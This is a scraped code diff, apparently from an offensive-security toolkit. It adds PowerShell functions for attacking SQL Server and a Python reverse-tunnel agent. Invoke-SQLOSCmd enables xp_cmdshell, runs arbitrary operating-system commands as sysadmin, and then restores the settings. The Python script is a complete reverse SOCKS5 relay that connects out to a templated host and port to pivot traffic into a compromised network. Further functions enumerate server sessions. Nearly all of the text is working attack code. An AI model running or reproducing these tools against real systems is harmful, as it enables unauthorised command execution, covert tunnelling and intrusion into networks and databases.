|
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Connection timeout.')]
|
||||||
|
[int]$TimeOut,
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Return error message if exists.')]
|
||||||
|
[switch]$ReturnError
|
||||||
|
)
|
||||||
|
Begin
|
||||||
|
{
|
||||||
|
$TblQueryResults = New-Object -TypeName System.Data.DataTable
|
||||||
|
}
|
||||||
|
Process
|
||||||
|
{
|
||||||
|
if($DAC){$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -DAC -Database $Database}
|
||||||
|
else{$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database}
|
||||||
|
$ConnectionString = $Connection.Connectionstring
|
||||||
|
$Instance = $ConnectionString.split(';')[0].split('=')[1]
|
||||||
|
if($Query)
|
||||||
|
{
|
||||||
|
$Connection.Open()
|
||||||
|
$Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection)
|
||||||
|
try {
|
||||||
|
$Results = $Command.ExecuteReader()
|
||||||
|
$TblQueryResults.Load($Results)
|
||||||
|
} catch {
|
||||||
|
#pass
|
||||||
|
}
|
||||||
|
$Connection.Close()
|
||||||
|
$Connection.Dispose()
|
||||||
|
}
|
||||||
|
else{'No query provided to Get-SQLQuery function.';Break}
|
||||||
|
}
|
||||||
|
End
|
||||||
|
{
|
||||||
|
if($ReturnError){$ErrorMessage}
|
||||||
|
else{$TblQueryResults}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Function Invoke-SQLOSCmd
|
||||||
|
{
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account to authenticate with.')]
|
||||||
|
[string]$Username,
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
|
||||||
|
[string]$Password,
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server instance to connection to.')]
|
||||||
|
[string]$Instance,
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Connect using Dedicated Admin Connection.')]
|
||||||
|
[Switch]$DAC,
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $true,
|
||||||
|
HelpMessage = 'OS command to be executed.')]
|
||||||
|
[String]$Command,
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Connection timeout.')]
|
||||||
|
[string]$TimeOut,
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Number of threads.')]
|
||||||
|
[int]$Threads = 1,
|
||||||
|
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Just show the raw results without the computer or instance name.')]
|
||||||
|
[switch]$RawResults
|
||||||
|
)
|
||||||
|
Begin
|
||||||
|
{
|
||||||
|
if(-not $Instance){$Instance = $env:COMPUTERNAME}
|
||||||
|
if($Instance){$ProvideInstance = New-Object -TypeName PSObject -Property @{Instance = $Instance}}
|
||||||
|
}
|
||||||
|
Process
|
||||||
|
{
|
||||||
|
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
|
||||||
|
if(-not $Instance){$Instance = $env:COMPUTERNAME}
|
||||||
|
if($DAC){$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -DAC -TimeOut $TimeOut}
|
||||||
|
else{$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut}
|
||||||
|
|
||||||
|
$Connection.Open()
|
||||||
|
"$Instance : Connection Success."
|
||||||
|
$DisableShowAdvancedOptions = 0
|
||||||
|
$DisableXpCmdshell = 0
|
||||||
|
|
||||||
|
$Query = "SELECT '$ComputerName' as [ComputerName],
|
||||||
|
'$Instance' as [Instance],
|
||||||
|
CASE
|
||||||
|
WHEN IS_SRVROLEMEMBER('sysadmin') = 0 THEN 'No'
|
||||||
|
ELSE 'Yes'
|
||||||
|
END as IsSysadmin"
|
||||||
|
$TblSysadminStatus = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password
|
||||||
|
|
||||||
|
if($TblSysadminStatus.IsSysadmin -eq 'Yes')
|
||||||
|
{
|
||||||
|
"$Instance : You are a sysadmin."
|
||||||
|
$IsXpCmdshellEnabled = Get-SQLQuery -Instance $Instance -Query "sp_configure 'xp_cmdshell'" -Username $Username -Password $Password
|
||||||
|
$IsShowAdvancedEnabled = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options'" -Username $Username -Password $Password
|
||||||
|
}
|
||||||
|
else{"$Instance : You are not a sysadmin. This command requires sysadmin privileges.";return}
|
||||||
|
|
||||||
|
if ($IsShowAdvancedEnabled.config_value -eq 1){"$Instance : Show Advanced Options is already enabled."}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
"$Instance : Show Advanced Options is disabled."
|
||||||
|
$DisableShowAdvancedOptions = 1
|
||||||
|
Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',1;RECONFIGURE" -Username $Username -Password $Password
|
||||||
|
$IsShowAdvancedEnabled2 = Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options'" -Username $Username -Password $Password
|
||||||
|
if($IsShowAdvancedEnabled2.config_value -eq 1){"$Instance : Enabled Show Advanced Options."}
|
||||||
|
else{"$Instance : Enabling Show Advanced Options failed. Aborting.";return}
|
||||||
|
}
|
||||||
|
if ($IsXpCmdshellEnabled.config_value -eq 1){"$Instance : xp_cmdshell is already enabled."}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
"$Instance : xp_cmdshell is disabled."
|
||||||
|
$DisableXpCmdshell = 1
|
||||||
|
Get-SQLQuery -Instance $Instance -Query "sp_configure 'xp_cmdshell',1;RECONFIGURE" -Username $Username -Password $Password
|
||||||
|
$IsXpCmdshellEnabled2 = Get-SQLQuery -Instance $Instance -Query 'sp_configure xp_cmdshell' -Username $Username -Password $Password
|
||||||
|
if($IsXpCmdshellEnabled2.config_value -eq 1){"$Instance : Enabled xp_cmdshell."}
|
||||||
|
else{"$Instance : Enabling xp_cmdshell failed. Aborting.";return}
|
||||||
|
}
|
||||||
|
"$Instance : Running command: $Command"
|
||||||
|
$Query = "EXEC master..xp_cmdshell '$Command'"
|
||||||
|
$CmdResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password
|
||||||
|
""
|
||||||
|
$CmdResults.output
|
||||||
|
if($DisableXpCmdshell -eq 1){"$Instance : Disabling xp_cmdshell";Get-SQLQuery -Instance $Instance -Query "sp_configure 'xp_cmdshell',0;RECONFIGURE" -Username $Username -Password $Password}
|
||||||
|
if($DisableShowAdvancedOptions -eq 1){"$Instance : Disabling Show Advanced Options";Get-SQLQuery -Instance $Instance -Query "sp_configure 'Show Advanced Options',0;RECONFIGURE" -Username $Username -Password $Password}
|
||||||
|
$Connection.Close()
|
||||||
|
$Connection.Dispose()
|
||||||
|
}
|
||||||
|
End
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,437 @@
|
||||||
|
#from __future__ import unicode_literals, division
|
||||||
|
|
||||||
|
import select
|
||||||
|
import socket
|
||||||
|
import ssl
|
||||||
|
import struct
|
||||||
|
import sys
|
||||||
|
import threading
|
||||||
|
|
||||||
|
|
||||||
|
class MessageType(object):
|
||||||
|
Control = 0
|
||||||
|
Data = 1
|
||||||
|
OpenChannel = 2
|
||||||
|
CloseChannel = 3
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def validate(cls, arg):
|
||||||
|
if not isinstance(arg, int) or not MessageType.Control <= arg <= MessageType.CloseChannel:
|
||||||
|
raise TypeError()
|
||||||
|
return arg
|
||||||
|
|
||||||
|
|
||||||
|
class Message(object):
|
||||||
|
HDR_STRUCT = b'!BHI'
|
||||||
|
HDR_SIZE = struct.calcsize(HDR_STRUCT)
|
||||||
|
|
||||||
|
def __init__(self, body, channel_id, msg_type=MessageType.Data):
|
||||||
|
self.body = body
|
||||||
|
self._channel_id = channel_id
|
||||||
|
self.msg_type = msg_type
|
||||||
|
|
||||||
|
@property
|
||||||
|
def channel_id(self):
|
||||||
|
return self._channel_id
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def parse_hdr(cls, data):
|
||||||
|
msg_type, channel_id, length = struct.unpack(cls.HDR_STRUCT, data[:struct.calcsize(cls.HDR_STRUCT)])
|
||||||
|
MessageType.validate(msg_type)
|
||||||
|
return msg_type, channel_id, length
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def parse(cls, data):
|
||||||
|
if len(data) < cls.HDR_SIZE:
|
||||||
|
raise ValueError()
|
||||||
|
msg_type, channel_id, length = cls.parse_hdr(data[:cls.HDR_SIZE])
|
||||||
|
data = data[cls.HDR_SIZE:]
|
||||||
|
if length != len(data):
|
||||||
|
raise ValueError()
|
||||||
|
MessageType.validate(msg_type)
|
||||||
|
return Message(data, channel_id, msg_type=msg_type)
|
||||||
|
|
||||||
|
def serialize(self):
|
||||||
|
return struct.pack(self.HDR_STRUCT, self.msg_type, self.channel_id, len(self.body)) + self.body
|
||||||
|
|
||||||
|
|
||||||
|
class Channel(object):
|
||||||
|
def __init__(self, channel_id):
|
||||||
|
self._channel_id = channel_id
|
||||||
|
self._client_end, self._tunnel_end = socket.socketpair(socket.AF_UNIX, socket.SOCK_STREAM)
|
||||||
|
self.tx = 0
|
||||||
|
self.rx = 0
|
||||||
|
|
||||||
|
@property
|
||||||
|
def tunnel_interface(self):
|
||||||
|
return self._tunnel_end
|
||||||
|
|
||||||
|
@property
|
||||||
|
def client_interface(self):
|
||||||
|
return self._client_end
|
||||||
|
|
||||||
|
@property
|
||||||
|
def channel_id(self):
|
||||||
|
return self._channel_id
|
||||||
|
|
||||||
|
def fileno(self):
|
||||||
|
return self._client_end.fileno()
|
||||||
|
|
||||||
|
def close(self):
|
||||||
|
self._client_end.close()
|
||||||
|
|
||||||
|
def send(self, data, flags=0):
|
||||||
|
self._client_end.sendall(data, flags)
|
||||||
|
self.tx += len(data)
|
||||||
|
|
||||||
|
def recv(self, length):
|
||||||
|
try:
|
||||||
|
data = self._client_end.recv(length)
|
||||||
|
except Exception:
|
||||||
|
data = b''
|
||||||
|
else:
|
||||||
|
self.rx += len(data)
|
||||||
|
return data
|
||||||
|
|
||||||
|
|
||||||
|
class Tunnel(object):
|
||||||
|
def __init__(self, sock, open_channel_callback=None, close_channel_callback=None):
|
||||||
|
self.transport = sock
|
||||||
|
self.transport_lock = threading.Lock()
|
||||||
|
self.channels = []
|
||||||
|
self.closed_channels = {}
|
||||||
|
|
||||||
|
if open_channel_callback is None:
|
||||||
|
self.open_channel_callback = lambda x: None
|
||||||
|
else:
|
||||||
|
self.open_channel_callback = open_channel_callback
|
||||||
|
|
||||||
|
if close_channel_callback is None:
|
||||||
|
self.close_channel_callback = lambda x: None
|
||||||
|
else:
|
||||||
|
self.close_channel_callback = close_channel_callback
|
||||||
|
|
||||||
|
self.monitor_thread = threading.Thread(target=self._monitor)
|
||||||
|
self.monitor_thread.daemon = True
|
||||||
|
self.monitor_thread.start()
|
||||||
|
|
||||||
|
def wait(self):
|
||||||
|
self.monitor_thread.join()
|
||||||
|
|
||||||
|
@property
|
||||||
|
def channel_id_map(self):
|
||||||
|
return {x: y for x, y in self.channels}
|
||||||
|
|
||||||
|
@property
|
||||||
|
def id_channel_map(self):
|
||||||
|
return {y: x for x, y in self.channels}
|
||||||
|
|
||||||
|
def _close_channel_remote(self, channel_id):
|
||||||
|
message = Message(b'', channel_id, msg_type=MessageType.CloseChannel)
|
||||||
|
self.transport_lock.acquire()
|
||||||
|
self.transport.sendall(message.serialize())
|
||||||
|
self.transport_lock.release()
|
||||||
|
|
||||||
|
def close_channel(self, channel_id, close_remote=False, exc=False):
|
||||||
|
if channel_id in self.closed_channels:
|
||||||
|
if close_remote:
|
||||||
|
self._close_channel_remote(channel_id)
|
||||||
|
return
|
||||||
|
|
||||||
|
if channel_id not in self.id_channel_map:
|
||||||
|
if exc:
|
||||||
|
raise ValueError()
|
||||||
|
else:
|
||||||
|
return
|
||||||
|
channel = self.id_channel_map[channel_id]
|
||||||
|
try:
|
||||||
|
self.channels.remove((channel, channel_id))
|
||||||
|
except ValueError:
|
||||||
|
return
|
||||||
|
channel.close()
|
||||||
|
channel.tunnel_interface.close()
|
||||||
|
if close_remote:
|
||||||
|
self._close_channel_remote(channel_id)
|
||||||
|
self.close_channel_callback(channel)
|
||||||
|
self.closed_channels[channel_id] = channel
|
||||||
|
|
||||||
|
def close_tunnel(self):
|
||||||
|
for channel, channel_id in self.channels:
|
||||||
|
self.close_channel(channel_id, close_remote=True)
|
||||||
|
self.transport.close()
|
||||||
|
|
||||||
|
def _open_channel_remote(self, channel_id):
|
||||||
|
message = Message(b'', channel_id, MessageType.OpenChannel)
|
||||||
|
self.transport_lock.acquire()
|
||||||
|
self.transport.sendall(message.serialize())
|
||||||
|
self.transport_lock.release()
|
||||||
|
|
||||||
|
def open_channel(self, channel_id, open_remote=False, exc=False):
|
||||||
|
if channel_id in self.id_channel_map:
|
||||||
|
if exc:
|
||||||
|
raise ValueError()
|
||||||
|
else:
|
||||||
|
return self.id_channel_map[channel_id]
|
||||||
|
channel = Channel(channel_id)
|
||||||
|
self.channels.append((channel, channel_id))
|
||||||
|
if open_remote:
|
||||||
|
self._open_channel_remote(channel_id)
|
||||||
|
self.open_channel_callback(channel)
|
||||||
|
return channel
|
||||||
|
|
||||||
|
def recv_message(self):
|
||||||
|
data = b''
|
||||||
|
while len(data) < Message.HDR_SIZE:
|
||||||
|
_data = self.transport.recv(Message.HDR_SIZE - len(data))
|
||||||
|
if not _data:
|
||||||
|
break
|
||||||
|
data += _data
|
||||||
|
if len(data) != Message.HDR_SIZE:
|
||||||
|
raise ValueError()
|
||||||
|
msg_type, channel_id, length = Message.parse_hdr(data)
|
||||||
|
|
||||||
|
chunks = []
|
||||||
|
received = 0
|
||||||
|
while received < length:
|
||||||
|
_data = self.transport.recv(length - received)
|
||||||
|
if not _data:
|
||||||
|
break
|
||||||
|
chunks.append(_data)
|
||||||
|
received += len(_data)
|
||||||
|
if received != length:
|
||||||
|
raise ValueError()
|
||||||
|
return Message(b''.join(chunks), channel_id, msg_type)
|
||||||
|
|
||||||
|
def _monitor(self):
|
||||||
|
while True:
|
||||||
|
ignored_channels = []
|
||||||
|
|
||||||
|
read_fds = [channel.tunnel_interface for channel, channel_id in self.channels] + [self.transport]
|
||||||
|
|
||||||
|
try:
|
||||||
|
r, _, _ = select.select(read_fds, [], [], 1)
|
||||||
|
except Exception:
|
||||||
|
continue
|
||||||
|
|
||||||
|
if not r:
|
||||||
|
continue
|
||||||
|
|
||||||
|
if self.transport in r:
|
||||||
|
try:
|
||||||
|
message = self.recv_message()
|
||||||
|
except ValueError:
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
if message.msg_type == MessageType.CloseChannel:
|
||||||
|
self.close_channel(message.channel_id)
|
||||||
|
ignored_channels.append(message.channel_id)
|
||||||
|
|
||||||
|
elif message.msg_type == MessageType.OpenChannel:
|
||||||
|
self.open_channel(message.channel_id)
|
||||||
|
|
||||||
|
elif message.msg_type == MessageType.Data:
|
||||||
|
channel = self.id_channel_map.get(message.channel_id)
|
||||||
|
if channel is None:
|
||||||
|
self.close_channel(message.channel_id, close_remote=True)
|
||||||
|
else:
|
||||||
|
try:
|
||||||
|
channel.tunnel_interface.sendall(message.body)
|
||||||
|
except OSError as e:
|
||||||
|
self.close_channel(channel_id=message.channel_id, close_remote=True)
|
||||||
|
|
||||||
|
else:
|
||||||
|
tiface_channel_map = {channel.tunnel_interface: channel for (channel, channel_id) in self.channels}
|
||||||
|
|
||||||
|
for tunnel_iface in r:
|
||||||
|
if tunnel_iface == self.transport:
|
||||||
|
continue
|
||||||
|
|
||||||
|
channel = tiface_channel_map.get(tunnel_iface)
|
||||||
|
if channel is None or channel.channel_id in ignored_channels:
|
||||||
|
continue
|
||||||
|
|
||||||
|
try:
|
||||||
|
data = tunnel_iface.recv(4096)
|
||||||
|
except Exception:
|
||||||
|
self.close_channel(channel.channel_id, close_remote=True)
|
||||||
|
continue
|
||||||
|
if not data:
|
||||||
|
self.close_channel(channel.channel_id, close_remote=True)
|
||||||
|
continue
|
||||||
|
|
||||||
|
message = Message(data, channel.channel_id, MessageType.Data)
|
||||||
|
|
||||||
|
try:
|
||||||
|
self.transport_lock.acquire()
|
||||||
|
self.transport.sendall(message.serialize())
|
||||||
|
self.transport_lock.release()
|
||||||
|
except:
|
||||||
|
return
|
||||||
|
return
|
||||||
|
|
||||||
|
def proxy_sock_channel(self, sock, channel, logger):
|
||||||
|
|
||||||
|
def close_both():
|
||||||
|
self.close_channel(channel.channel_id, close_remote=True)
|
||||||
|
sock.close()
|
||||||
|
|
||||||
|
while True:
|
||||||
|
if (channel, channel.channel_id) not in self.channels:
|
||||||
|
return
|
||||||
|
|
||||||
|
readfds = [channel, sock]
|
||||||
|
try:
|
||||||
|
r, _, _ = select.select(readfds, [], [], 1)
|
||||||
|
except Exception:
|
||||||
|
return
|
||||||
|
if not r:
|
||||||
|
continue
|
||||||
|
|
||||||
|
if channel in r:
|
||||||
|
try:
|
||||||
|
data = channel.recv(4096)
|
||||||
|
except Exception:
|
||||||
|
close_both()
|
||||||
|
return
|
||||||
|
else:
|
||||||
|
if not data:
|
||||||
|
close_both()
|
||||||
|
return
|
||||||
|
|
||||||
|
try:
|
||||||
|
sock.sendall(data)
|
||||||
|
except Exception:
|
||||||
|
close_both()
|
||||||
|
return
|
||||||
|
|
||||||
|
if sock in r:
|
||||||
|
try:
|
||||||
|
data = sock.recv(4096)
|
||||||
|
except Exception:
|
||||||
|
close_both()
|
||||||
|
return
|
||||||
|
else:
|
||||||
|
if not data:
|
||||||
|
close_both()
|
||||||
|
return
|
||||||
|
|
||||||
|
try:
|
||||||
|
channel.send(data)
|
||||||
|
except Exception:
|
||||||
|
close_both()
|
||||||
|
return
|
||||||
|
|
||||||
|
|
||||||
|
class Socks5Proxy(object):
|
||||||
|
@staticmethod
|
||||||
|
def _remote_connect(remote_host, remote_port, sock, af=socket.AF_INET):
|
||||||
|
remote_socket = socket.socket(af, socket.SOCK_STREAM)
|
||||||
|
|
||||||
|
if af == socket.AF_INET:
|
||||||
|
atyp = 1
|
||||||
|
local_addr = ('0.0.0.0', 0)
|
||||||
|
|
||||||
|
else:
|
||||||
|
atyp = 4
|
||||||
|
local_addr = ('::', 0)
|
||||||
|
|
||||||
|
try:
|
||||||
|
remote_socket.connect((remote_host, remote_port))
|
||||||
|
except Exception:
|
||||||
|
reply = struct.pack('BBBB', 0x05, 0x05, 0x00, atyp)
|
||||||
|
else:
|
||||||
|
local_addr = remote_socket.getsockname()[:2]
|
||||||
|
reply = struct.pack('BBBB', 0x05, 0x00, 0x00, atyp)
|
||||||
|
|
||||||
|
reply += socket.inet_pton(af, local_addr[0]) + struct.pack('!H', local_addr[1])
|
||||||
|
sock.send(reply)
|
||||||
|
|
||||||
|
return remote_socket
|
||||||
|
|
||||||
|
@classmethod
|
||||||
|
def new_connect(cls, sock):
|
||||||
|
sock.recv(4096)
|
||||||
|
sock.sendall(struct.pack('BB', 0x05, 0x00))
|
||||||
|
|
||||||
|
request_data = sock.recv(4096)
|
||||||
|
if len(request_data) >= 10:
|
||||||
|
ver, cmd, rsv, atyp = struct.unpack('BBBB', request_data[:4])
|
||||||
|
if ver != 0x05 or cmd != 0x01:
|
||||||
|
sock.sendall(struct.pack('BBBB', 0x05, 0x01, 0x00, 0x00))
|
||||||
|
sock.close()
|
||||||
|
raise ValueError()
|
||||||
|
else:
|
||||||
|
sock.sendall(struct.pack('BBBB', 0x05, 0x01, 0x00, 0x00))
|
||||||
|
sock.close()
|
||||||
|
raise ValueError()
|
||||||
|
|
||||||
|
if atyp == 1:
|
||||||
|
addr_type = socket.AF_INET
|
||||||
|
addr = socket.inet_ntop(socket.AF_INET, request_data[4:8])
|
||||||
|
port, = struct.unpack('!H', request_data[8:10])
|
||||||
|
elif atyp == 3:
|
||||||
|
addr_type = socket.AF_INET
|
||||||
|
length, = struct.unpack('B', request_data[4:5])
|
||||||
|
addr = request_data[5:5 + length].decode()
|
||||||
|
port, = struct.unpack('!H', request_data[length + 5:length + 5 + 2])
|
||||||
|
elif atyp == 4:
|
||||||
|
addr_type = socket.AF_INET6
|
||||||
|
addr = socket.inet_ntop(socket.AF_INET6, request_data[4:20])
|
||||||
|
port, = struct.unpack('!H', request_data[20:22])
|
||||||
|
else:
|
||||||
|
sock.sendall(struct.pack('BBBB', 0x05, 0x08, 0x00, 0x00))
|
||||||
|
sock.close()
|
||||||
|
raise ValueError()
|
||||||
|
|
||||||
|
host = (addr, port)
|
||||||
|
remote_sock = cls._remote_connect(addr, port, sock, af=addr_type)
|
||||||
|
return remote_sock, host
|
||||||
|
|
||||||
|
|
||||||
|
class Relay(object):
|
||||||
|
def __init__(self, connect_host, connect_port, no_ssl=False):
|
||||||
|
self.no_ssl = no_ssl
|
||||||
|
self.connect_server = (connect_host, connect_port)
|
||||||
|
self.tunnel = None
|
||||||
|
self.tunnel_sock = socket.socket()
|
||||||
|
if not no_ssl:
|
||||||
|
try:
|
||||||
|
self.tunnel_sock = ssl.wrap_socket(self.tunnel_sock)
|
||||||
|
except ssl.SSLError as e:
|
||||||
|
sys.exit(-1)
|
||||||
|
|
||||||
|
def _handle_channel(self, channel):
|
||||||
|
sock = None
|
||||||
|
|
||||||
|
try:
|
||||||
|
sock, addr = Socks5Proxy.new_connect(channel.client_interface)
|
||||||
|
except ValueError:
|
||||||
|
self.tunnel.close_channel(channel.channel_id, close_remote=True)
|
||||||
|
return
|
||||||
|
except Exception:
|
||||||
|
self.tunnel.close_channel(channel.channel_id, close_remote=True)
|
||||||
|
try:
|
||||||
|
if isinstance(sock, socket.socket):
|
||||||
|
sock.close()
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
return
|
||||||
|
self.tunnel.proxy_sock_channel(sock, channel, None)
|
||||||
|
|
||||||
|
def open_channel_callback(self, channel):
|
||||||
|
t = threading.Thread(target=self._handle_channel, args=(channel,))
|
||||||
|
t.daemon = True
|
||||||
|
t.start()
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
try:
|
||||||
|
self.tunnel_sock.connect(self.connect_server)
|
||||||
|
except Exception:
|
||||||
|
return
|
||||||
|
|
||||||
|
self.tunnel = Tunnel(self.tunnel_sock, open_channel_callback=self.open_channel_callback)
|
||||||
|
self.tunnel.wait()
|
||||||
|
|
||||||
|
|
||||||
|
relay = Relay('${host}', ${port}, no_ssl=${no_ssl})
|
||||||
|
relay.run()
|
|
@ -0,0 +1,589 @@
|
||||||
|
Function Get-ComputerNameFromInstance {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
ValueFromPipeline = $true,
|
||||||
|
ValueFromPipelineByPropertyName = $true,
|
||||||
|
HelpMessage = 'SQL Server instance.')]
|
||||||
|
[string]$Instance
|
||||||
|
)
|
||||||
|
If ($Instance) {
|
||||||
|
$ComputerName = $Instance.split('\')[0].split(',')[0]
|
||||||
|
} else {
|
||||||
|
$ComputerName = $env:COMPUTERNAME
|
||||||
|
}
|
||||||
|
Return $ComputerName
|
||||||
|
}
|
||||||
|
Function Get-SQLConnectionTest {
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account to authenticate with.')]
|
||||||
|
[string]$Username,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
|
||||||
|
[string]$Password,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
ValueFromPipeline = $true,
|
||||||
|
ValueFromPipelineByPropertyName = $true,
|
||||||
|
HelpMessage = 'SQL Server instance to connection to.')]
|
||||||
|
[string]$Instance,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Connect using Dedicated Admin Connection.')]
|
||||||
|
[Switch]$DAC,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Default database to connect to.')]
|
||||||
|
[String]$Database,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Connection timeout.')]
|
||||||
|
[string]$TimeOut,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
|
||||||
|
[switch]$SuppressVerbose
|
||||||
|
)
|
||||||
|
|
||||||
|
Begin {
|
||||||
|
$TblResults = New-Object -TypeName System.Data.DataTable
|
||||||
|
$null = $TblResults.Columns.Add('ComputerName')
|
||||||
|
$null = $TblResults.Columns.Add('Instance')
|
||||||
|
$null = $TblResults.Columns.Add('Status')
|
||||||
|
} Process {
|
||||||
|
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
|
||||||
|
if(-not $Instance) {
|
||||||
|
$Instance = $env:COMPUTERNAME
|
||||||
|
}
|
||||||
|
|
||||||
|
if($DAC) {
|
||||||
|
$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -DAC -TimeOut $TimeOut -Database $Database
|
||||||
|
} else {
|
||||||
|
$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
$Connection.Open()
|
||||||
|
$null = $TblResults.Rows.Add("$ComputerName","$Instance",'Accessible')
|
||||||
|
$Connection.Close()
|
||||||
|
$Connection.Dispose()
|
||||||
|
} catch {
|
||||||
|
$null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible')
|
||||||
|
}
|
||||||
|
} End {
|
||||||
|
$TblResults
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Function Get-SQLSession {
|
||||||
|
|
||||||
|
[CmdletBinding()]
|
||||||
|
Param(
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
ValueFromPipelineByPropertyName = $true,
|
||||||
|
HelpMessage = 'SQL Server or domain account to authenticate with.')]
|
||||||
|
[string]$Username,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
ValueFromPipelineByPropertyName = $true,
|
||||||
|
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
|
||||||
|
[string]$Password,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
ValueFromPipelineByPropertyName = $true,
|
||||||
|
HelpMessage = 'SQL Server instance to connection to.')]
|
||||||
|
[string]$Instance,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
ValueFromPipeline = $true,
|
||||||
|
ValueFromPipelineByPropertyName = $true,
|
||||||
|
HelpMessage = 'PrincipalName.')]
|
||||||
|
[string]$PrincipalName,
|
||||||
|
[Parameter(Mandatory = $false,
|
||||||
|
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
|
||||||
|
[switch]$SuppressVerbose
|
||||||
|
)
|
||||||
|
|
||||||
|
Begin {
|
||||||
|
$TblSessions = New-Object -TypeName System.Data.DataTable
|
||||||
|
$null = $TblSessions.Columns.Add('ComputerName')
|
||||||
|
$null = $TblSessions.Columns.Add('Instance')
|
||||||
|
$null = $TblSessions.Columns.Add('PrincipalSid')
|
||||||
|
$null = $TblSessions.Columns.Add('PrincipalName')
|
||||||
|
$null = $TblSessions.Columns.Add('OriginalPrincipalName')
|
||||||
|
$null = $TblSessions.Columns.Add('SessionId')
|
||||||
|
$null = $TblSessions.Columns.Add('SessionStartTime')
|
||||||
|
$null = $TblSessions.Columns.Add('SessionLoginTime')
|
||||||
|
$null = $TblSessions.Columns.Add('SessionStatus')
|
||||||
|
|
||||||
|
if($PrincipalName) {
|
||||||
|
$PrincipalNameFilter = " and login_name like '$PrincipalName'"
|
||||||
|
} else {
|
||||||
|
$PrincipalNameFilter = ''
|
||||||
|
}
|
||||||
|
} Process {
|
||||||
|
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
|
||||||
|
if(-not $Instance) {
|
||||||
|
$Instance = $env:COMPUTERNAME
|
||||||
|
}
|
||||||
|
|
||||||
|
$TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | Where-Object -FilterScript {
|
||||||
|
$_.Status -eq 'Accessible'
|
||||||
|
}
|
||||||
|
if(-not $TestConnection) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
$Query = " USE master;
|
||||||
|
SELECT '$ComputerName' as [ComputerName],
|
||||||
|
'$Instance' as [Instance],
|
||||||
|
security_id as [PrincipalSid],
|
||||||
|
login_name as [PrincipalName],
|
||||||
|
original_login_name as [OriginalPrincipalName],
|
||||||
|
session_id as [SessionId],
|
||||||
|
last_request_start_time as [SessionStartTime],
|
||||||
|
login_time as [SessionLoginTime],
|
||||||
|
status as [SessionStatus]
|
||||||
|
FROM [sys].[dm_exec_sessions]
|
||||||
|
ORDER BY status
|
||||||
|
$PrincipalNameFilter"
|
||||||
|
|
||||||
|
$TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password
|
||||||
|
|
||||||
|
$TblResults | ForEach-Object -Process {
|
||||||
|
$NewSid = [System.BitConverter]::ToString($_.PrincipalSid).Replace('-','')
|
||||||
|
if ($NewSid.length -le 10) {
|
||||||
|
